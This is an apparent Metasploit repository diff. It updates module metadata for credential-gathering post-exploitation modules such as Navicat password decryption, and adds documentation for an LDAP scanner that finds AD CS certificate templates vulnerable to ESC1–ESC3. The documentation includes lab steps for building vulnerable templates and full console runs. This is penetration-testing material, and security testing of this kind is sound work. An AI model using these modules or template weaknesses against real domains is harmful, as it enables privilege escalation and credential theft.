"fullname": "post/windows/gather/credentials/navicat",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"HyperSine",
|
||||
"Kali-Team <kali-team@qq.com>"
|
||||
],
|
||||
"description": "This module will find and decrypt stored Navicat passwords",
|
||||
"references": [
|
||||
"URL-https://github.com/HyperSine/how-does-navicat-encrypt-password",
|
||||
"URL-https://blog.kali-team.cn/Metasploit-Navicat-fbc1390cf57c40b5b576584c48b8e125"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-07 12:28:10 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/navicat.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/navicat",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/gather/credentials/nimbuzz": {
|
||||
"name": "Windows Gather Nimbuzz Instant Messenger Password Extractor",
|
||||
"fullname": "post/windows/gather/credentials/nimbuzz",
|
||||
@@ -216051,7 +216827,7 @@
|
||||
"author": [
|
||||
"mubix <mubix@hak5.org>"
|
||||
],
|
||||
"description": "This module pulls a user's proxy settings. If neither RHOST or SID\n are set it pulls the current user, else it will pull the user's settings\n specified SID and target host.",
|
||||
"description": "This module pulls a user's proxy settings. If neither RHOST or SID\n are set it pulls the current user, else it will pull the user's settings\n for the specified SID and target host.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -216061,7 +216837,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-12-04 15:10:47 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_proxy.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_proxy",
|
||||
@@ -216069,9 +216845,20 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
"meterpreter",
|
||||
"powershell",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -217318,42 +218105,6 @@
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/gather/reverse_lookup": {
|
||||
"name": "Windows Gather IP Range Reverse Lookup",
|
||||
"fullname": "post/windows/gather/reverse_lookup",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"mubix <mubix@hak5.org>"
|
||||
],
|
||||
"description": "This module uses Railgun, calling the gethostbyaddr function to resolve a hostname\n to an IP.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"path": "/modules/post/windows/gather/reverse_lookup.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/reverse_lookup",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/gather/screen_spy": {
|
||||
"name": "Windows Gather Screen Spy",
|
||||
"fullname": "post/windows/gather/screen_spy",
|
||||
@@ -219301,7 +220052,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/post/windows/manage/sticky_keys.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/sticky_keys",
|
||||
@@ -219542,42 +220293,6 @@
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/recon/resolve_ip": {
|
||||
"name": "Windows Recon Resolve IP",
|
||||
"fullname": "post/windows/recon/resolve_ip",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"mubix <mubix@hak5.org>"
|
||||
],
|
||||
"description": "This module reverse resolves a range or IP to a hostname",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"path": "/modules/post/windows/recon/resolve_ip.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/recon/resolve_ip",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/wlan/wlan_bss_list": {
|
||||
"name": "Windows Gather Wireless BSS Info",
|
||||
"fullname": "post/windows/wlan/wlan_bss_list",
|
||||
|
||||
@@ -0,0 +1,453 @@
|
||||
## Vulnerable Application
|
||||
This module allows users to query a LDAP server for vulnerable certificate
|
||||
templates and will print these certificates out in a table along with which
|
||||
attack they are vulnerable to and the SIDs that can be used to enroll in that
|
||||
certificate template.
|
||||
|
||||
Additionally the module will also print out a list of known certificate servers
|
||||
along with info about which vulnerable certificate templates the certificate server
|
||||
allows enrollment in and which SIDs are authorized to use that certificate server to
|
||||
perform this enrollment operation.
|
||||
|
||||
Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.
|
||||
|
||||
### Installing ADCS
|
||||
1. Install ADCS on either a new or existing domain controller
|
||||
1. Open the Server Manager
|
||||
1. Select Add roles and features
|
||||
1. Select "Active Directory Certificate Services" under the "Server Roles" section
|
||||
1. When prompted add all of the features and management tools
|
||||
1. On the AD CS "Role Services" tab, leave the default selection of only "Certificate Authority"
|
||||
1. Completion the installation and reboot the server
|
||||
1. Reopen the Server Manager
|
||||
1. Go to the AD CS tab and where it says "Configuration Required", hit "More" then "Configure Active Directory Certificate..."
|
||||
1. Select "Certificate Authority" in the Role Services tab
|
||||
1. Keep all of the default settings, noting the "Common name for this CA" value on the "CA Name" tab.
|
||||
1. Accept the rest of the default settings and complete the configuration
|
||||
|
||||
### Setting up a ESC1 Vulnerable Certificate Template
|
||||
1. Open up the run prompt and type in `certsrv`.
|
||||
1. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`.
|
||||
1. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
|
||||
1. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
|
||||
1. From here you can refer to https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/3da1d59f1b66dd0e381b2371b8fb42d87e2c9f82/ADCS.md for screenshots.
|
||||
1. Select the `General` tab and rename this to something meaningful like `ESC1-Template`, then click the `Apply` button.
|
||||
1. In the `Subject Name` tab, select `Supply in the request` and click `Ok` on the security warning that appears.
|
||||
1. Click the `Apply` button.
|
||||
1. Scroll to the `Extensions` tab.
|
||||
1. Under `Application Policies` ensure that `Client Authentication`, `Server Authentication`, `KDC Authentication`, or `Smart Card Logon` is listed.
|
||||
1. Click the `Apply` button.
|
||||
1. Under the `Security` tab make sure that `Domain Users` group listed and the `Enroll` permissions is marked as allowed for this group.
|
||||
1. Under `Issuance Requirements` tab, ensure that under `Require the following for enrollment` that the `CA certificate manager approval` box is unticked, as is the `This number of authorized signatures` box.
|
||||
1. Click `Apply` and then `Ok`
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
|
||||
1. Scroll down and select the `ESC1-Template` certificate, or whatever you named the ESC1 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC2 Vulnerable Certificate Template
|
||||
1. Open up `certsrv`
|
||||
1. Scroll down to `Certificate Templates` folder, right click on it and select `Manage`.
|
||||
1. Find the `ESC1` certificate template you created earlier and right click on that, then select `Duplicate Template`.
|
||||
1. Select the `General` tab, and then name the template `ESC2-Template`. Then click `Apply`.
|
||||
1. Go to the `Subject Name` tab and select `Build from this Active Directory Information` and select `Fully distinguished name` under the `Subject Name Format`. The main idea of setting this option is to prevent being able to supply the subject name in the request as this is more what makes the certificate vulnerable to ESC1. The specific options here I don't think will matter so much so long as the `Supply in the request` option isn't ticked. Then click `Apply`.
|
||||
1. Go the to `Extensions` tab and click on `Application Policies`. Then click on `Edit`.
|
||||
1. Delete all the existing application policies by clicking on them one by one and clicking the `Remove` button.
|
||||
1. Click the `Add` button and select `Any Purpose` from the list that appears. Then click the `OK` button.
|
||||
1. Click the `Apply` button, and then `OK`. The certificate should now be created.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
|
||||
1. Scroll down and select the `ESC2-Template` certificate, or whatever you named the ESC2 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC3 Template 1 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template1`, then click `Apply`.
|
||||
1. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Certificate Request Agent`, then click `OK`.
|
||||
1. Click `Apply`.
|
||||
1. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` and `This number of authorized signatures` are unchecked.
|
||||
1. Click `Apply` if any changes were made or the button is not grey'd out, then click `OK` to create the certificate.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
|
||||
1. Scroll down and select the `ESC3-Template1` certificate, or whatever you named the ESC3 template number 1 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC3 Template 2 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template2`, then click `Apply`.
|
||||
1. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Client Authentication`, then click `OK`.
|
||||
1. Click `Apply`.
|
||||
1. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` is unchecked.
|
||||
1. Check the `This number of authorized signatures` checkbox and ensure the value specified is 1, and that the `Policy type required in signature` is set to `Application Policy`, and that the `Application policy` value is `Certificate Request Agent`.
|
||||
1. Click `Apply` and then click `OK` to issue the certificate.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder.
|
||||
1. Click `New` followed by `Certificate Template to Issue`.
|
||||
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
## Verification Steps
|
||||
1. Do: Start msfconsole
|
||||
1. Do: `use auxiliary/gather/ldap_esc_vulnerable_cert_finder`
|
||||
1. Do: `set BIND_DN <DOMAIN>\\<USERNAME to log in as>`
|
||||
1. Do: `set BIND_PW <PASSWORD FOR USER>`
|
||||
1. Do: `set RHOSTS <target IP(s)>`
|
||||
1. Optional: `set RPORT <target port>` if target port is non-default.
|
||||
1. Optional: `set SSL true` if the target port is SSL enabled.
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### REPORT_NONENROLLABLE
|
||||
If set to `True` then report any certificate templates that are vulnerable but which are not known to be enrollable.
|
||||
If set to `False` then skip over these certificate templates and only report on certificate templates
|
||||
that are both vulnerable and enrollable.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2022 with ADCS
|
||||
```
|
||||
msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOST 172.26.104.157
|
||||
RHOST => 172.26.104.157
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set BIND_DN DAFOREST\\Administrator
|
||||
BIND_DN => DAFOREST\Administrator
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set BIND_PW theAdmin123
|
||||
BIND_PW => theAdmin123
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN DAFOREST\Administrator no The username to authenticate to LDAP server
|
||||
BIND_PW theAdmin123 no Password for the BIND_DN
|
||||
REPORT_NONENROLLABLE false yes Report nonenrollable certificate templates
|
||||
RHOSTS 172.26.104.157 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-
|
||||
Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
[*] Running module against 172.26.104.157
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.26.104.157:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Template: SubCA
|
||||
[*] Distinguished Name: CN=SubCA,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC1, ESC2, ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: ESC1-Template
|
||||
[*] Distinguished Name: CN=ESC1-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC1
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: ESC2-Template
|
||||
[*] Distinguished Name: CN=ESC2-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: ESC3-Template1
|
||||
[*] Distinguished Name: CN=ESC3-Template1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_1
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: User
|
||||
[*] Distinguished Name: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: Administrator
|
||||
[*] Distinguished Name: CN=Administrator,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: Machine
|
||||
[*] Distinguished Name: CN=Machine,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-515 (Domain Computers)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: DomainController
|
||||
[*] Distinguished Name: CN=DomainController,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-498 (Enterprise Read-only Domain Controllers)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-516 (Domain Controllers)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] * S-1-5-9 (Enterprise Domain Controllers)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: ESC3-Template2
|
||||
[*] Distinguished Name: CN=ESC3-Template2,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
|
||||
```
|
||||
|
||||
### Windows Server 2022 with ADCS and REPORT_NONENROLLABLE Set To TRUE
|
||||
```
|
||||
msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOST 172.26.104.157
|
||||
RHOST => 172.26.104.157
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set BIND_DN DAFOREST\\Administrator
|
||||
BIND_DN => DAFOREST\Administrator
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set BIND_PW theAdmin123
|
||||
BIND_PW => theAdmin123
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set REPORT_NONENROLLABLE true
|
||||
REPORT_NONENROLLABLE => true
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN DAFOREST\Administrator no The username to authenticate to LDAP server
|
||||
BIND_PW theAdmin123 no Password for the BIND_DN
|
||||
REPORT_NONENROLLABLE true yes Report nonenrollable certificate templates
|
||||
RHOSTS 172.26.104.157 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-
|
||||
Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
[*] Running module against 172.26.104.157
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.26.104.157:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Template: CA
|
||||
[*] Distinguished Name: CN=CA,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC1, ESC2, ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[!] CA not published as an enrollable certificate!
|
||||
[*] Template: SubCA
|
||||
[*] Distinguished Name: CN=SubCA,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC1, ESC2, ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: OfflineRouter
|
||||
[*] Distinguished Name: CN=OfflineRouter,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC1, ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[!] OfflineRouter not published as an enrollable certificate!
|
||||
[*] Template: ESC1-Template
|
||||
[*] Distinguished Name: CN=ESC1-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC1
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: ESC2-Template
|
||||
[*] Distinguished Name: CN=ESC2-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: EnrollmentAgent
|
||||
[*] Distinguished Name: CN=EnrollmentAgent,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_1
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[!] EnrollmentAgent not published as an enrollable certificate!
|
||||
[*] Template: EnrollmentAgentOffline
|
||||
[*] Distinguished Name: CN=EnrollmentAgentOffline,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_1
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[!] EnrollmentAgentOffline not published as an enrollable certificate!
|
||||
[*] Template: MachineEnrollmentAgent
|
||||
[*] Distinguished Name: CN=MachineEnrollmentAgent,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_1
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[!] MachineEnrollmentAgent not published as an enrollable certificate!
|
||||
[*] Template: CEPEncryption
|
||||
[*] Distinguished Name: CN=CEPEncryption,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_1
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[!] CEPEncryption not published as an enrollable certificate!
|
||||
[*] Template: ESC3-Template1
|
||||
[*] Distinguished Name: CN=ESC3-Template1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_1
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: User
|
||||
[*] Distinguished Name: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
